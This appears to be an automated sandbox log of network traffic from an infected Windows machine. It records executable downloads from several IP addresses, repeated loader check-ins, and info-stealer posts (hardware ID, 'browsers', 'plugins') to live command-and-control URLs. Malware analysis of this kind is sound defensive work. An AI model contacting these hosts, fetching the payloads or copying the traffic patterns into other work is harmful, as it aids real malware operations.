00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 18 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 18:04:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:04:46 GMTContent-Type: application/octet-streamContent-Length: 2772992Last-Modified: Mon, 18 Nov 2024 17:09:36 GMTConnection: keep-aliveETag: "673b74d0-2a5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 40 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 62 6c 78 6a 6d 65 00 00 2a 00 00 a0 00 00 00 ee 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 72 75 78 72 64 7a 00 20 00 00 00 a0 2a 00 00 06 00 00 00 28 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 2e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:04:47 GMTContent-Type: application/octet-streamContent-Length: 2772992Last-Modified: Mon, 18 Nov 2024 17:09:38 GMTConnection: keep-aliveETag: "673b74d2-2a5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 40 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 62 6c 78 6a 6d 65 00 00 2a 00 00 a0 00 00 00 ee 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 72 75 78 72 64 7a 00 20 00 00 00 a0 2a 00 00 06 00 00 00 28 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 2e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 18:05:08 GMTContent-Type: application/octet-streamContent-Length: 2772992Last-Modified: Mon, 18 Nov 2024 17:09:38 GMTConnection: keep-aliveETag: "673b74d2-2a5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 40 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 62 6c 78 6a 6d 65 00 00 2a 00 00 a0 00 00 00 ee 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 72 75 78 72 64 7a 00 20 00 00 00 a0 2a 00 00 06 00 00 00 28 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 2e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007211001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007212001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007213001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 32 35 33 31 32 30 30 37 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"F4253120070F807656615------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"mars------GIEHJDHCBAEHJJJKKFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 32 38 61 62 36 30 64 39 61 38 64 61 64 37 65 64 62 34 36 32 34 66 37 39 36 61 34 39 33 39 62 64 66 31 36 65 63 30 64 63 31 33 36 66 30 30 34 33 30 31 64 63 64 36 61 32 63 32 37 63 64 38 64 61 64 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"browsers------JKECFCFBGDHIECAAFIID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 32 38 61 62 36 30 64 39 61 38 64 61 64 37 65 64 62 34 36 32 34 66 37 39 36 61 34 39 33 39 62 64 66 31 36 65 63 30 64 63 31 33 36 66 30 30 34 33 30 31 64 63 64 36 61 32 63 32 37 63 64 38 64 61 64 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="message"plugins------IEHCBAFIDAECBGCBFHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 32 38 61 62 36 30 64 39 61 38 64 61 64 37 65 64 62 34 36 32 34 66 37 39 36 61 34 39 33 39 62 64 66 31 36 65 63 30 64 63 31 33 36 66 30 30 34 33 30 31 64 63 64 36 61 32 63 32 37 63 64 38 64 61 64 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="message"fplugins------DAAFBAKECAEGCBFIEGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 5839Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007214001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007215001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
